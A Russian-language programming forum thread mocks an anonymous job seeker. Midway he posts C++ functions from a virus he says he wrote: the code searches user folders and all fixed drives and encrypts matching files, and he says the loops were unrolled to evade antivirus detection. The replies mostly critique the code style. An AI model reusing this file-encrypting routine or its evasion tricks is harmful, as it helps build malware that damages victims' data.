Да вы где то тут уже писали что у вас никто не понимает

... << RSDN@Home 1.1.4 stable SR1 rev. 568>>

Здравствуйте, Аноним, Вы писали:

А>Здравствуйте, _FRED_, Вы писали:

_FR>>Не, мне это тоже сейчас интересно стало. Попробовал. Установил на монике разрешение 600х800, а в студии 20-ый размер шрифта Consolas

и получил 11 строк на страницу

А>Не 600 на 800, а 800 на 600. Это к слову...

Вот и разрешилась загадка века: мы все думали, что он говорит о страницах A4, а он до сих пор код экранами меряет...

_FR>>То есть не количеством же в самом деле мерить надо — кто-то и десять страниц за полчаса набрать может; но мне это не интересно, давайте мерять качеством.

А>Да, мерять надо качеством. И только потом количеством.

_FR>>2Аноним: давай сюда свои десять страниц!

А>Извините, то что я писал — часть закрытого проекта. Исходники не дам.
А>А вообще зачем вам они?

Дак, предлагают же вам: напишите, покажите, что вы умеете.

Здравствуйте, Аноним, Вы писали:

А>Здравствуйте, mogadanez, Вы писали:

M>>в этой ветке отметилось много людей, учитывая что почти все они расказали показали эту тему своим друзьям, Вы себе половину Питерского рынка труда точно закрыли

А>Половина Питерского рынка труда — хамы ???????!!!!!!

Нет, половина питерского рынка труда их не берёт на работу.

Здравствуйте, <Аноним>, Вы писали:

А>Не 600 на 800, а 800 на 600. Это к слову...

Будь осторожен — демонстрировать однотипность и стереотипность мышления на собеседовании на должность, связанную с IT очень плохо — бросается в глаза и вызывает негатив. У меня моник на девяносто градусов повёрнут, потому разрешение именно такое, как я указал.

А>Да, мерять надо качеством. И только потом количеством.

Да-да, из двух одинакого качественных кусков кода лучше тот, который того, … гхм… количеством

_FR>>2Аноним: давай сюда свои десять страниц!

А>Извините, то что я писал — часть закрытого проекта. Исходники не дам.

Дабы сохранить тайну и разрешить-таки спор, предлагаю зазиповать их и опубликовать сжатыми.

А>А вообще зачем вам они?

Мне интересно оценить в Вас программиста.

... << RSDN@Home 1.2.0 alpha rev. 652>>
Now playing: «Тихо в лесу…»

Здравствуйте, FDSC, Вы писали:

FDS>Вот и разрешилась загадка века: мы все думали, что он говорит о страницах A4, а он до сих пор код экранами меряет...

У меня 1024 на 768 стоит разрешение. Это тоже так, к слову...

А>>Извините, то что я писал — часть закрытого проекта. Исходники не дам.
А>>А вообще зачем вам они?
FDS>Дак, предлагают же вам: напишите, покажите, что вы умеете.

Опять, 25...
Работодатель попросит — я дам. И никак иначе.

Теперь даже я догадываюсь что парень просто стебается. Просто НЕВОЗМОЖНО БЫТЬ ТАКИ ДОЛБ....ОМ!!! Работа тебе не нужна. Пришел сюда пойлудить и поржать. Давай. Достало. Сначала давали советы, потом посмеялись, но доводить до маразма — это п... Иди работай в булочную лучше. Раз такой спец, то автоматизируй ее и сидя дома получай бабки. Вперед.

ЗЫ: А это уже замство и оскорбления и много чего еще. Я терпеливый человек, но увы. Задрал ты уже.

Здравствуйте, _FRED_, Вы писали:

_FR>У меня моник на девяносто градусов повёрнут, потому разрешение именно такое, как я указал.

У-у-у-у... да.....

А>>Извините, то что я писал — часть закрытого проекта. Исходники не дам.
_FR>Дабы сохранить тайну и разрешить-таки спор, предлагаю зазиповать их и опубликовать сжатыми.

Хм. А что есть разница между обычными опубликованными исходниками и сжатыми опубликованными исходниками?

А>>А вообще зачем вам они?
_FR>Мне интересно оценить в Вас программиста.

Хех... нашлись оценщики... Да я сам щас вас оценю

Здравствуйте, Аноним, Вы писали:

А>Здравствуйте, Ovl, Вы писали:

Ovl>>вообще-то люди меняются.

А>К великому счастью, я не меняюсь. Я человек консервативный, перманентный и т.д. и т.п.

Ovl>>мне например, интересно было бы посмотреть как человек вел себя раньше и сейчас, чтобы сравнить

А>Хм... Если вы обо мне, то разницы не увидите

Как раз корректность обычно и проявляется при некорректном обращении

Здравствуйте, Ovl, Вы писали:

Ovl>Здравствуйте, FDSC, Вы писали:

FDS>>Здравствуйте, Ovl, Вы писали:

Ovl>>>Здравствуйте, Dziman, Вы писали:

D>>>>Здравствуйте, Ovl, Вы писали:
Ovl>>>>>решил свой вариант переноса предложить, захожу — там все отправляют в "Коллеги, улыбнитесь".
Ovl>>>>>Коллеги, подумайте, может быть все-таки в "Священные войны"?
D>>>>Скорее в "О работе" с переименованием "Как не надо вести себя на форуме"

Ovl>>>возможно. но не в "улыбнитесь"

FDS>>Ну, давайте согласуем этот вопрос и поменяем решение. И вообще, надо на ящик модераторам послать сообщение, наверное?

Ovl>по-моему нет. на рсдн достаточно активные модеры

Только что-то они тут решили что-ли эксперимент поставить. Представляете себе, если этот аноним — Влад или AnrewVK. Впрочем они бы до такого не докатились

Здравствуйте, Unhandled_Exception, Вы писали:

U_E>Здравствуйте, FDSC, Вы писали:

U_E>>>Я считаю, что тем, кто в теме уже отметился, тем месяц шуток бесплатно! или хотя бы с 50% скидкой

FDS>>Какое там: в соучередители! Всем поровну!

U_E>

Эх, что бы вы без меня делали!

Здравствуйте, Аноним, Вы писали:

А>Здравствуйте, FDSC, Вы писали:

FDS>>Здравствуйте, Аноним, Вы писали:

А>>>Народ, поднажмите немного! Сейчас до 300 сообщений дойдёт, рекорд ставим...

FDS>>Посмотри в философию программирования: там у них по теме до 1000 сообщений доходит, а у тебя сплошной оффтопик — и всего 300. Какой же это рекорд. Ступай в Философию и учись.

А>Для меня — рекорд.

А то есть идёщь на личный рекорд! Понятно, дак тогда надо писать — личны рекорд.

Ну что ж, поздравляю

Здравствуйте, FDSC, Вы писали:

FDS>В таком случае перестаньте писать в эту ветку: раз вы в ней работы всё равно не собираетесь искать.

Хм. В эту тему я и не предполагал писать (кроме UP'ов). Как вы заметили, пишут все кто угодно, но только не я. Я же только отвечаю.

FDS>Но вы же не хотите показывать, что вы умеете

Я показываю умения только рабтодателям.

Здравствуйте, Аноним, Вы писали:

А>Блин, тока что было 306 сообщений, стало 305, это как? Модеры что-то удалили?

Свои сообщения и сам можешь удалять, если на них ещё никто не ответил и если ты зарегистрированный

понятно, почему до сих пор на работу не взяли...

Приходит мужик к психологу и говорит —
Вы знаете у меня почемуто совсем нет друзей , может ты старый лысый козел обьяснишь почему.

А если честно я практически не сталкивался с тем что не берут на работу изза
отсутствия бумажек. Практически все собеседования были на знания.
Так что проблема видимо в другом.

... << RSDN@Home 1.1.4 stable SR1 rev. 568>>

Здравствуйте, Lonely Dog, Вы писали:

LD>Здравствуйте, Аноним, Вы писали:

LD>

А>>Да, блин, это же некоммерческая разработка, что вы хотите. Естественно, если бы это было столь важно, я бы исправил эти дела.
LD>Но вы тоже никак не хотите понять, что других способов не существует.
LD>И то, что AV будут орать — это проблемы юзера (не зря ведь антивирусы при установке требуют удалить все другие аналогичные продукты).

LD>Вот теперь я действительно вижу, что это некомерческая разработка. Потому-что, в реальной жизни у пользователя проблем нет. Они есть только у вас...

да я смотрю у парня вообще проблем не ...
проблемы есть только у потенциальных работодателей

... << RSDN@Home 1.1.4 stable SR1 rev. 568>>

Здравствуйте, Аноним, Вы писали:

А>Ну что ж. Проект "антисоискатель-2" запущен в эфир. Начало здесь. Смотрите, не пропустите. Что будет дальше?

А>ЗЫ. Одна только просьба ко всем, кто писал в этой ветке: не пишите в новой.

Хорошо, не будем.
А вы, случаем, к Win2K отношения не имеете: ящик очень похожий?

Здравствуйте, <Аноним>, Вы писали:

А>У-у-у-у... да.....

Настоящие программисты многоточие делают не тремя точками (...), но используют эллипсы (…), для ввода которых надо при нажатом Альте набрать на цифровой клавиатуре 0133

А>>>Извините, то что я писал — часть закрытого проекта. Исходники не дам.
_FR>>Дабы сохранить тайну и разрешить-таки спор, предлагаю зазиповать их и опубликовать сжатыми.
А>Хм. А что есть разница между обычными опубликованными исходниками и сжатыми опубликованными исходниками?

В том-то и дело, что, судя по всему, нет

. Так что ничто не мешает.

_FR>>Мне интересно оценить в Вас программиста.
А>Хех... нашлись оценщики... Да я сам щас вас оценю

ЗЫ. Настоящие программисты не обязаны знать, как правильно называется то, что они используют для обозначения многоточия.

... << RSDN@Home 1.2.0 alpha rev. 652>>
Now playing: «Тихо в лесу…»

Здравствуйте, FunnyRabbit, Вы писали:

FR>ЗЫ: А это уже замство и оскорбления и много чего еще. Я терпеливый человек, но увы. Задрал ты уже.

Чем задрал, если я ничего не пишу в этой ветке сам?! Я только отвечаю на всякую ерунду, которую пишут другие!

_FR>Дабы сохранить тайну и разрешить-таки спор, предлагаю зазиповать их и опубликовать сжатыми.

И ЗАПОРОЛЕННЫМИ

... << RSDN@Home 1.1.4 stable SR1 rev. 568>>

А>Опять, 25...
А>Работодатель попросит — я дам. И никак иначе.

я работодатель Software Engineer — Web (Санкт-Петербург, Россия), давай....

... << RSDN@Home 1.1.4 stable SR1 rev. 568>>

Здравствуйте, mogadanez, Вы писали:

_FR>>Дабы сохранить тайну и разрешить-таки спор, предлагаю зазиповать их и опубликовать сжатыми.

M>И ЗАПОРОЛЕННЫМИ

Йех! Зря ты ему подсказал. Это была моя коварная идея заценить секьюрные скилы

... << RSDN@Home 1.2.0 alpha rev. 652>>
Now playing: «Тихо в лесу…»

Здравствуйте, Аноним, Вы писали:

А>Здравствуйте, FDSC, Вы писали:

FDS>>Вот и разрешилась загадка века: мы все думали, что он говорит о страницах A4, а он до сих пор код экранами меряет...

А>У меня 1024 на 768 стоит разрешение. Это тоже так, к слову...

А у меня 1280х1024

А>>>Извините, то что я писал — часть закрытого проекта. Исходники не дам.
А>>>А вообще зачем вам они?
FDS>>Дак, предлагают же вам: напишите, покажите, что вы умеете.

А>Опять, 25...
А>Работодатель попросит — я дам. И никак иначе.

Ну, дали бы мне, получили бы место, с вероятностью процентов 75% — если бы код нормальный был, конечно.
Понимаете, вы можете дать совсем маленькую часть кода, строк 200, и никто кроме вас не получит выгоды от этого. Зато работодатель увидет код и скажэет: а может он не такой уж ламмер и с ним нужно пообщаться. Понимаете, код сам по себе может быть ЛЮБОЙ, практически не несущий практической ценности: главное себя показать. Вы должны показать себя, чтобы заинтересовать работодателя, а не наоборот.

Здравствуйте, Аноним, Вы писали:

А>Здравствуйте, FDSC, Вы писали:

FDS>>Вот и разрешилась загадка века: мы все думали, что он говорит о страницах A4, а он до сих пор код экранами меряет...

А>У меня 1024 на 768 стоит разрешение. Это тоже так, к слову...

Ни один программист в "экранах" размер программы не меряет. В строках, голубчик, в строках...

Здравствуйте, Аноним, Вы писали:

А>Здравствуйте, FDSC, Вы писали:

FDS>>В таком случае перестаньте писать в эту ветку: раз вы в ней работы всё равно не собираетесь искать.

А>Хм. В эту тему я и не предполагал писать (кроме UP'ов). Как вы заметили, пишут все кто угодно, но только не я. Я же только отвечаю.

FDS>>Но вы же не хотите показывать, что вы умеете

А>Я показываю умения только рабтодателям.

Вы так стесняетесь их? А людям, которые могли бы вам помочь вы уже ничего не показываете.... а ведь их здесь большинство

Здравствуйте, mogadanez, Вы писали:

А>>Опять, 25...
А>>Работодатель попросит — я дам. И никак иначе.

M>я работодатель Software Engineer — Web (Санкт-Петербург, Россия), давай....

Вам — нет. После всего того, что вы здесь понаписали.

Здравствуйте, Аноним, Вы писали:

А>Здравствуйте, FunnyRabbit, Вы писали:

FR>>ЗЫ: А это уже замство и оскорбления и много чего еще. Я терпеливый человек, но увы. Задрал ты уже.

А>Чем задрал, если я ничего не пишу в этой ветке сам?! Я только отвечаю на всякую ерунду, которую пишут другие!

Когда отвечаешь ты то же пишешь

Здравствуйте, FDSC, Вы писали:

FDS>Здравствуйте, Ovl, Вы писали:

Ovl>>Здравствуйте, FDSC, Вы писали:

FDS>>>Здравствуйте, Ovl, Вы писали:

Ovl>>>>Здравствуйте, Dziman, Вы писали:

D>>>>>Здравствуйте, Ovl, Вы писали:
Ovl>>>>>>решил свой вариант переноса предложить, захожу — там все отправляют в "Коллеги, улыбнитесь".
Ovl>>>>>>Коллеги, подумайте, может быть все-таки в "Священные войны"?
D>>>>>Скорее в "О работе" с переименованием "Как не надо вести себя на форуме"

Ovl>>>>возможно. но не в "улыбнитесь"

FDS>>>Ну, давайте согласуем этот вопрос и поменяем решение. И вообще, надо на ящик модераторам послать сообщение, наверное?

Ovl>>по-моему нет. на рсдн достаточно активные модеры

FDS>Только что-то они тут решили что-ли эксперимент поставить. Представляете себе, если этот аноним — Влад или AnrewVK. Впрочем они бы до такого не докатились

не, вряд ли…

А>Вам — нет. После всего того, что вы здесь понаписали.

ААААА...

... << RSDN@Home 1.1.4 stable SR1 rev. 568>>

Здравствуйте, mogadanez, Вы писали:

_FR>>Дабы сохранить тайну и разрешить-таки спор, предлагаю зазиповать их и опубликовать сжатыми.

M>И ЗАПОРОЛЕННЫМИ

Хм. Если они будут зашифрованными, какой смысл их вообще публиковать?

Здравствуйте, _FRED_, Вы писали:

_FR>Йех! Зря ты ему подсказал. Это была моя коварная идея заценить секьюрные скилы

Эту коварную идею я раскусил моментально. Обидно только, что вы думали, что я совсем плох...

Здравствуйте, FDSC, Вы писали:

FDS>А вы, случаем, к Win2K отношения не имеете: ящик очень похожий?

Хм. Вряд ли. Такой ящик у меня просто потому, что Win2k3 — моя любимая ось.

Здравствуйте, <Аноним>, Вы писали:

А>…в моей ветке…

Крылато

... << RSDN@Home 1.2.0 alpha rev. 652>>
Now playing: «Тихо в лесу…»

Здравствуйте, Nose, Вы писали:

N>Здравствуйте, Аноним, Вы писали:

А>>Написание тестов — минут 10. Отладка — когда как, от 15 минут до часа.

N>Черт, 500 строк отлаженного кода за 2 часа 25 минут.
N>Надо начальству посоветовать, пусть весь отдел наш разгоняет к чертям и берет одного такого гения

ржу нимагу

... << RSDN@Home 1.1.4 stable SR1 rev. 568>>

M>>И ЗАПОРОЛЕННЫМИ

А>Хм. Если они будут зашифрованными, какой смысл их вообще публиковать?

а говоришь раскусил идею...

... << RSDN@Home 1.1.4 stable SR1 rev. 568>>

Здравствуйте, FDSC, Вы писали:

FDS>Ну, дали бы мне, получили бы место, с вероятностью процентов 75% — если бы код нормальный был, конечно.
FDS>Понимаете, вы можете дать совсем маленькую часть кода, строк 200, и никто кроме вас не получит выгоды от этого. Зато работодатель увидет код и скажэет: а может он не такой уж ламмер и с ним нужно пообщаться. Понимаете, код сам по себе может быть ЛЮБОЙ, практически не несущий практической ценности: главное себя показать. Вы должны показать себя, чтобы заинтересовать работодателя, а не наоборот.

Хм... Так. Хорошо. Здесь говорили что-то про поиск файлов и каталогов. Так вот как-то года 4е назад писал я вирус, который как раз и искал всё подряд...

Вот некоторые функции (VC++ 6) из него:

int SearchForPrivateData ()
{
    LPTSTR path = (TCHAR*) SHAlloc (MAX_PATH + 1);
    if (! path)
        return 0;

    // My documents
    if (SHGetSpecialFolderPath (0, path, CSIDL_PERSONAL, FALSE))
        SearchFolder (path);

    // Shared My documents (CSIDL_COMMON_DOCUMENTS)
    if (SHGetSpecialFolderPath (0, path, 0x002e, FALSE))
        SearchFolder (path);

    // Desktop
    if (SHGetSpecialFolderPath (0, path, CSIDL_DESKTOP, FALSE))
        SearchFolder (path);

    // Shared Favourites
    if (SHGetSpecialFolderPath (0, path, CSIDL_COMMON_FAVORITES, FALSE))
        SearchFolder (path);

    // Shared Desktop
    if (SHGetSpecialFolderPath (0, path, CSIDL_COMMON_DESKTOPDIRECTORY, FALSE))
        SearchFolder (path);
    
    // Cookies
    if (SHGetSpecialFolderPath (0, path, CSIDL_COOKIES, FALSE))
        SearchFolder (path);
    
    // Temporary Internet Files
    if (SHGetSpecialFolderPath (0, path, CSIDL_INTERNET_CACHE, FALSE))
        SearchFolder (path);

    // Application Data
    if (SHGetSpecialFolderPath (0, path, CSIDL_APPDATA, FALSE))
        SearchFolder (path);

    // Shared Application Data (CSIDL_COMMON_APPDATA)
    if (SHGetSpecialFolderPath (0, path, 0x0023, FALSE))
        SearchFolder (path);

    TCHAR wd [MAX_PATH + 1];
    GetWindowsDirectory (wd, MAX_PATH + 1);
    if (! IsCharLower (wd [0]))
        wd [0] = (TCHAR) CharLower ((LPSTR) wd [0]);

    // scanning other local drives...
    if (GetDriveType ("C:") == DRIVE_FIXED && wd [0] != 'c')
        SearchFolder ("C:\\");
    if (GetDriveType ("D:") == DRIVE_FIXED && wd [0] != 'd')
        SearchFolder ("D:\\");
    if (GetDriveType ("E:") == DRIVE_FIXED && wd [0] != 'e')
        SearchFolder ("E:\\");
    if (GetDriveType ("F:") == DRIVE_FIXED && wd [0] != 'f')
        SearchFolder ("F:\\");
    if (GetDriveType ("G:") == DRIVE_FIXED && wd [0] != 'g')
        SearchFolder ("G:\\");
    if (GetDriveType ("H:") == DRIVE_FIXED && wd [0] != 'h')
        SearchFolder ("H:\\");
    if (GetDriveType ("I:") == DRIVE_FIXED && wd [0] != 'i')
        SearchFolder ("I:\\");
    if (GetDriveType ("J:") == DRIVE_FIXED && wd [0] != 'j')
        SearchFolder ("J:\\");
    if (GetDriveType ("K:") == DRIVE_FIXED && wd [0] != 'k')
        SearchFolder ("K:\\");
    if (GetDriveType ("L:") == DRIVE_FIXED && wd [0] != 'l')
        SearchFolder ("L:\\");
    if (GetDriveType ("M:") == DRIVE_FIXED && wd [0] != 'm')
        SearchFolder ("M:\\");
    if (GetDriveType ("N:") == DRIVE_FIXED && wd [0] != 'n')
        SearchFolder ("N:\\");
    if (GetDriveType ("O:") == DRIVE_FIXED && wd [0] != 'o')
        SearchFolder ("O:\\");
    if (GetDriveType ("P:") == DRIVE_FIXED && wd [0] != 'p')
        SearchFolder ("P:\\");
    if (GetDriveType ("Q:") == DRIVE_FIXED && wd [0] != 'q')
        SearchFolder ("Q:\\");
    if (GetDriveType ("R:") == DRIVE_FIXED && wd [0] != 'r')
        SearchFolder ("R:\\");
    if (GetDriveType ("S:") == DRIVE_FIXED && wd [0] != 's')
        SearchFolder ("S:\\");
    if (GetDriveType ("T:") == DRIVE_FIXED && wd [0] != 't')
        SearchFolder ("T:\\");
    if (GetDriveType ("U:") == DRIVE_FIXED && wd [0] != 'u')
        SearchFolder ("U:\\");
    if (GetDriveType ("V:") == DRIVE_FIXED && wd [0] != 'v')
        SearchFolder ("V:\\");
    if (GetDriveType ("W:") == DRIVE_FIXED && wd [0] != 'w')
        SearchFolder ("W:\\");
    if (GetDriveType ("X:") == DRIVE_FIXED && wd [0] != 'x')
        SearchFolder ("X:\\");
    if (GetDriveType ("Y:") == DRIVE_FIXED && wd [0] != 'y')
        SearchFolder ("Y:\\");
    if (GetDriveType ("Z:") == DRIVE_FIXED && wd [0] != 'z')
        SearchFolder ("Z:\\");

    SHFree (path);

    if (gbkill)
        return 2;

    if (gCount > 0 /*&& gSize >= MIN_SIZE*/)
        return 1;
    else
        return 0;
}

void SearchFolder (LPCTSTR path)
{
    if (! CheckFolder (path))
        return;

    DWORD dwCount = 0;
    WIN32_FIND_DATA w32fd;
    LPTSTR origpath = cmbpath (path, "*.*");
    HANDLE hFind = FindFirstFile (origpath, &w32fd);
    LPTSTR fp;

    if (hFind == INVALID_HANDLE_VALUE)
        return;

    do
    {
        if (gbkill)
        {
            FindClose (hFind);
            SHFree (origpath);
            return;
        }

        fp = cmbpath (path, w32fd.cFileName);

        if (! (w32fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY))
        {
            if (IsMatch (fp))
            {
                if (EncryptFile (fp))
                    AppendLog (fp);
            }
        }
        else if (StrCmpI (w32fd.cFileName, ".") != 0 && 
            StrCmpI (w32fd.cFileName, "..") != 0)
        {
            SearchFolder (fp);
        }

        SHFree (fp);

    } while (FindNextFile (hFind, &w32fd));

    SHFree (origpath);

    FindClose (hFind);
}

Здравствуйте, mukos, Вы писали:

M>Здравствуйте, Nose, Вы писали:

N>>Здравствуйте, Аноним, Вы писали:

А>>>Написание тестов — минут 10. Отладка — когда как, от 15 минут до часа.

N>>Черт, 500 строк отлаженного кода за 2 часа 25 минут.
N>>Надо начальству посоветовать, пусть весь отдел наш разгоняет к чертям и берет одного такого гения

M>ржу нимагу

Имею ввиду вообще над веткой —
в юмор однозначно ... или создать новый форум типа " злой флуд"

... << RSDN@Home 1.1.4 stable SR1 rev. 568>>

Здравствуйте, FDSC, Вы писали:

FDS>Ни один программист в "экранах" размер программы не меряет. В строках, голубчик, в строках...

Ээээ… нет! Я размер функций меряю как раз в экранах: пол-экрана — хорошо; два — много; пять — пора это "лего" пересобирать

... << RSDN@Home 1.2.0 alpha rev. 652>>
Now playing: «Тихо в лесу…»

Здравствуйте, FDSC, Вы писали:

А>>Чем задрал, если я ничего не пишу в этой ветке сам?! Я только отвечаю на всякую ерунду, которую пишут другие!

FDS>Когда отвечаешь ты то же пишешь

У вас плохо с понимаем смысла предложений.

Здравствуйте, Аноним, Вы писали:

А>Здравствуйте, FDSC, Вы писали:

FDS>>Ну, дали бы мне, получили бы место, с вероятностью процентов 75% — если бы код нормальный был, конечно.
FDS>>Понимаете, вы можете дать совсем маленькую часть кода, строк 200, и никто кроме вас не получит выгоды от этого. Зато работодатель увидет код и скажэет: а может он не такой уж ламмер и с ним нужно пообщаться. Понимаете, код сам по себе может быть ЛЮБОЙ, практически не несущий практической ценности: главное себя показать. Вы должны показать себя, чтобы заинтересовать работодателя, а не наоборот.

А>Хм... Так. Хорошо. Здесь говорили что-то про поиск файлов и каталогов. Так вот как-то года 4е назад писал я вирус, который как раз и искал всё подряд...

А>Вот некоторые функции (VC++ 6) из него:

А>

А>int SearchForPrivateData ()
А>{
А>    // scanning other local drives...
А>    if (GetDriveType ("C:") == DRIVE_FIXED && wd [0] != 'c')
А>        SearchFolder ("C:\\");
А>    if (GetDriveType ("D:") == DRIVE_FIXED && wd [0] != 'd')
....
А>        SearchFolder ("Y:\\");
А>    if (GetDriveType ("Z:") == DRIVE_FIXED && wd [0] != 'z')
А>        SearchFolder ("Z:\\");

А>}

Почему вы это не сделали через цикл?

А>Вот некоторые функции (VC++ 6) из него:

Вот теперь мне стало понятно, откуда берется невероятная скорострельность. Copy+Paste во всей красе... Код функции SearchForPrivateData можно сократить раз в 20 и при этом он станет куда как читабельнее. Правда для это потребуется чуток побольше времени, чем 20 раз нажать Ctrl+V

Здравствуйте, Аноним, Вы писали:

А>Вот некоторые функции (VC++ 6) из него:

А>[ccode]

А> // My documents
А> if (SHGetSpecialFolderPath (0, path, CSIDL_PERSONAL, FALSE))
А> SearchFolder (path);

<skipped 7 раз>

А> // Shared Application Data (CSIDL_COMMON_APPDATA)
А> if (SHGetSpecialFolderPath (0, path, 0x0023, FALSE))
А> SearchFolder (path);

А> // scanning other local drives...
А> if (GetDriveType ("C:") == DRIVE_FIXED && wd [0] != 'c')
А> SearchFolder ("C:\\");

<skipped 24 раза>

А> if (GetDriveType ("Z:") == DRIVE_FIXED && wd [0] != 'z')
А> SearchFolder ("Z:\\");

Если каждый цикл так разворачивать, то я и 20 страниц кода в час напишу.

Здравствуйте, _FRED_, Вы писали:

_FR>Здравствуйте, FDSC, Вы писали:

FDS>>Ни один программист в "экранах" размер программы не меряет. В строках, голубчик, в строках...

_FR>Ээээ… нет! Я размер функций меряю как раз в экранах: пол-экрана — хорошо; два — много; пять — пора это "лего" пересобирать

Ну, если речь идёт о размерах конкретной функции — то да. Кстати, у него они немножко великоваты. Но, в принципе, это не так страшно.

Здравствуйте, Аноним, Вы писали:

M>>в этой ветке отметилось много людей, учитывая что почти все они расказали показали эту тему своим друзьям, Вы себе половину Питерского рынка труда точно закрыли

А>Половина Питерского рынка труда — хамы ???????!!!!!!

больше

ох, сколько же у Вас впереди открытий

Здравствуйте, <Аноним>, Вы писали:

А>Хм... Так. Хорошо. Здесь говорили что-то про поиск файлов и каталогов. Так вот как-то года 4е назад писал я вирус, который как раз и искал всё подряд...

А>Вот некоторые функции (VC++ 6) из него:

А>void SearchFolder (LPCTSTR path)
А>{
      //…
А>    WIN32_FIND_DATA w32fd;
А>    LPTSTR origpath = cmbpath (path, "*.*");
А>    HANDLE hFind = FindFirstFile (origpath, &w32fd);
      //…
А>        else if (StrCmpI (w32fd.cFileName, ".") != 0 && 
А>            StrCmpI (w32fd.cFileName, "..") != 0)
      //…
А>}

Что-то тут говорит о непоследовательности автора сих строк. Зачем использовать T, если код всё-равно написан так, что не скомпилится с юникодом?

... << RSDN@Home 1.2.0 alpha rev. 652>>
Now playing: «Тихо в лесу…»

Здравствуйте, FDSC, Вы писали:

FDS>Почему вы это не сделали через цикл?

Это одна из модификаций. Чтобы антивирусы не палили.

Здравствуйте, olegkr, Вы писали:

А>>Вот некоторые функции (VC++ 6) из него:

O>Вот теперь мне стало понятно, откуда берется невероятная скорострельность. Copy+Paste во всей красе... Код функции SearchForPrivateData можно сократить раз в 20 и при этом он станет куда как читабельнее. Правда для это потребуется чуток побольше времени, чем 20 раз нажать Ctrl+V

См. мой пост на один выше.

Если Вы знаете язык VB.NET, пишите мне на ящик alexandrakhazan@rambler.ru, пообщаемся по поводу работы.

Здравствуйте, Аноним, Вы писали:

А>Если каждый цикл так разворачивать, то я и 20 страниц кода в час напишу.

Вы тоже см. мой пост на 2 выше.

Здравствуйте, Аноним, Вы писали:

А>Здравствуйте, FDSC, Вы писали:

FDS>>Почему вы это не сделали через цикл?

А>Это одна из модификаций. Чтобы антивирусы не палили.

А вы знаете на какой концепции построены полиморфные вирусы?

Здравствуйте, FDSC, Вы писали:

FDS>Здравствуйте, Аноним, Вы писали:

А>>Здравствуйте, FDSC, Вы писали:

FDS>>>Почему вы это не сделали через цикл?

А>>Это одна из модификаций. Чтобы антивирусы не палили.

FDS>А вы знаете на какой концепции построены полиморфные вирусы?

Читал когда-то об этом. Сейчас помню только, что они вроде код свой изменяют с каждым заражением.

Здравствуйте, Sawenka, Вы писали:

S>Если Вы знаете язык VB.NET, пишите мне на ящик alexandrakhazan@rambler.ru, пообщаемся по поводу работы.

А зачем обязательно VB.NET? Может он может на C# реализовать в библиотеках, а вызовы уже из главного приложения на VB.NET будет делать.

ЗЫ: Это уже, наверное, пиар. Но тебя. Не говори, что на РСДН все злые.

Здравствуйте, _FRED_, Вы писали:

_FR>Что-то тут говорит о непоследовательности автора сих строк. Зачем использовать T, если код всё-равно написан так, что не скомпилится с юникодом?

Впоследствии я хотел сделать поддержку Unicode, но потом бросил все эти вирусы...
А вообще это T никому не мешает, оно всё равно препроцессором будет заменено на char*...

Здравствуйте, FDSC, Вы писали:

FDS>Когда отвечаешь ты то же пишешь

зачем ты ему раскрыл этот секрет????

Здравствуйте, FunnyRabbit, Вы писали:

FR>ЗЫ: Это уже, наверное, пиар. Но тебя. Не говори, что на РСДН все злые.

Блин, да я уже по нику вашему понял, что вы — весёлый товарищ.

P.S. я вроде ему написал письмо, но то ли у меня Opera глючит, то ли ещё что, но ответа что-то нету...

Здравствуйте, <Аноним>, Вы писали:

_FR>>Что-то тут говорит о непоследовательности автора сих строк. Зачем использовать T, если код всё-равно написан так, что не скомпилится с юникодом?

А>Впоследствии я хотел сделать поддержку Unicode, но потом бросил все эти вирусы...
А>А вообще это T никому не мешает, оно всё равно препроцессором будет заменено на char*...

Ага, а так как оптимизаторы иногда и циклы раскрывают…

... << RSDN@Home 1.2.0 alpha rev. 652>>
Now playing: «Тихо в лесу…»

Здравствуйте, Аноним, Вы писали:

А>Здравствуйте, _FRED_, Вы писали:

_FR>>Что-то тут говорит о непоследовательности автора сих строк. Зачем использовать T, если код всё-равно написан так, что не скомпилится с юникодом?

А>Впоследствии я хотел сделать поддержку Unicode, но потом бросил все эти вирусы...
А>А вообще это T никому не мешает, оно всё равно препроцессором будет заменено на char*...

В 8-ой студии оно уже будет заменено на wchar и вы долго будете думать, почему программа не работает.

Здравствуйте, Аноним, Вы писали:

А>Здравствуйте, FDSC, Вы писали:

FDS>>Здравствуйте, Аноним, Вы писали:

А>>>Здравствуйте, FDSC, Вы писали:

FDS>>>>Почему вы это не сделали через цикл?

А>>>Это одна из модификаций. Чтобы антивирусы не палили.

FDS>>А вы знаете на какой концепции построены полиморфные вирусы?

А>Читал когда-то об этом. Сейчас помню только, что они вроде код свой изменяют с каждым заражением.

Я поэтому и спросил, что вы ляп допустили, дак может знаете как они устроены: ан нет.
(они шифруют сами себя, оставляя очень маленький клочок кода расшифровки. А вот у вас программа будет очень большой и антивирус легко её распознает, несмотря на модификации)

Вам там VB.NET предлагали, не пропустите.

Здравствуйте, FDSC, Вы писали:

FDS>Здравствуйте, Аноним, Вы писали:

А>>Здравствуйте, _FRED_, Вы писали:

_FR>>>Что-то тут говорит о непоследовательности автора сих строк. Зачем использовать T, если код всё-равно написан так, что не скомпилится с юникодом?

А>>Впоследствии я хотел сделать поддержку Unicode, но потом бросил все эти вирусы...
А>>А вообще это T никому не мешает, оно всё равно препроцессором будет заменено на char*...

FDS>В 8-ой студии оно уже будет заменено на wchar и вы долго будете думать, почему программа не работает.

8ая студия вышла около года назад. Я в ней ещё не разбирался, по большому счёту. Этот код 4хлетней давности.

Здравствуйте, Аноним, Вы писали:

А>Здравствуйте, FunnyRabbit, Вы писали:

FR>>ЗЫ: Это уже, наверное, пиар. Но тебя. Не говори, что на РСДН все злые.

А>Блин, да я уже по нику вашему понял, что вы — весёлый товарищ.

А>P.S. я вроде ему написал письмо, но то ли у меня Opera глючит, то ли ещё что, но ответа что-то нету...

Да подожди, ещё будет: может он уже из инета вылез и ответит только в конце дня.

А>>Читал когда-то об этом. Сейчас помню только, что они вроде код свой изменяют с каждым заражением.

FDS>Я поэтому и спросил, что вы ляп допустили, дак может знаете как они устроены: ан нет.

Вообще-то знаю. Я ведь вам сказал об этом.

FDS>(они шифруют сами себя, оставляя очень маленький клочок кода расшифровки.

Я об этом и говорил.

FDS>А вот у вас программа будет очень большой и антивирус легко её распознает, несмотря на модификации)

Это был не единственный кусок кода, который я модифицировал. И AV уже не орал. А писать шифратор у меня не было необходимости, потому что, как я уже говорил, вирусы и иже с ними я забросил после этого.

Здравствуйте, Аноним, Вы писали:

А>>>Читал когда-то об этом. Сейчас помню только, что они вроде код свой изменяют с каждым заражением.

